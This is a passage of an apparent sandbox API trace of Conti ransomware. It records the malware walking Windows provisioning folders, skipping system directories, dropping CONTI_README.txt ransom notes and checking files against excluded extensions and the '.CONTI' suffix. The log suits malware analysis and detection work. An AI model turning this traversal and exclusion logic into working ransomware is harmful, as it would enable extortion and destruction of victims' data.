	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.580] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned 76
	[0106.580] lstrlenW (lpString="Prov") returned 4
	[0106.580] GetProcessHeap () returned 0x1720000
	[0106.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.580] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}"
	[0106.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\"
	[0106.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov"
	[0106.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned 81
	[0106.581] GetProcessHeap () returned 0x1720000
	[0106.581] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6587e00
	[0106.581] lstrcpyW (in: lpString1=0x6587e00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov"
	[0106.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*"
	[0106.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned 81
	[0106.581] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.581] GetProcessHeap () returned 0x1720000
	[0106.581] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181c948
	[0106.581] lstrcpyW (in: lpString1=0x181c948, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov"
	[0106.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\"
	[0106.581] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\CONTI_README.txt"
	[0106.581] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.583] GetProcessHeap () returned 0x1720000
	[0106.583] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c948 | out: hHeap=0x1720000) returned 1
	[0106.583] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.584] CloseHandle (hObject=0x3a0) returned 1
	[0106.584] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0106.585] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.585] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.585] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.585] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.585] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535eb686, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x535eb686, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.585] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.585] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.585] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.585] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.585] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.585] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.585] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned 81
	[0106.585] lstrlenW (lpString="RunTime") returned 7
	[0106.585] GetProcessHeap () returned 0x1720000
	[0106.585] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.586] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov"
	[0106.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\"
	[0106.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime"
	[0106.586] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned 89
	[0106.586] GetProcessHeap () returned 0x1720000
	[0106.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.586] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime"
	[0106.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*"
	[0106.586] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned 89
	[0106.586] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.586] GetProcessHeap () returned 0x1720000
	[0106.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3778
	[0106.586] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime"
	[0106.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\"
	[0106.586] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.586] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0106.588] GetProcessHeap () returned 0x1720000
	[0106.588] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0106.588] WriteFile (in: hFile=0x3c4, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.589] CloseHandle (hObject=0x3c4) returned 1
	[0106.589] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0106.589] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.589] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.589] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.589] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.589] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1
	[0106.589] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2=".") returned 1
	[0106.589] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2="..") returned 1
	[0106.589] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.589] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.589] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".exe") returned 0x0
	[0106.589] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".dll") returned 0x0
	[0106.589] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".lnk") returned 0x0
	[0106.589] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".sys") returned 0x0
	[0106.590] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.590] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.590] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned 89
	[0106.590] lstrlenW (lpString="0__Power_EnergyEstimationEngine.provxml") returned 39
	[0106.590] GetProcessHeap () returned 0x1720000
	[0106.590] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x181d880
	[0106.590] lstrcpyW (in: lpString1=0x181d880, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime"
	[0106.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\"
	[0106.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\", lpString2="0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.590] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535eb686, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x535eb686, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.590] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.590] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.590] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.590] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.590] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535eb686, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x535eb686, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.590] GetProcessHeap () returned 0x1720000
	[0106.590] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.590] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0106.590] GetProcessHeap () returned 0x1720000
	[0106.590] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.590] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.590] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.590] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.590] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.590] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned 81
	[0106.591] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.591] GetProcessHeap () returned 0x1720000
	[0106.591] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510528
	[0106.591] lstrcpyW (in: lpString1=0x6510528, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov"
	[0106.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\"
	[0106.591] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml"
	[0106.591] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.591] GetProcessHeap () returned 0x1720000
	[0106.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587e00 | out: hHeap=0x1720000) returned 1
	[0106.591] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0106.591] GetProcessHeap () returned 0x1720000
	[0106.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.591] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.591] GetProcessHeap () returned 0x1720000
	[0106.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e8b8 | out: hHeap=0x1720000) returned 1
	[0106.591] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0106.591] GetProcessHeap () returned 0x1720000
	[0106.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
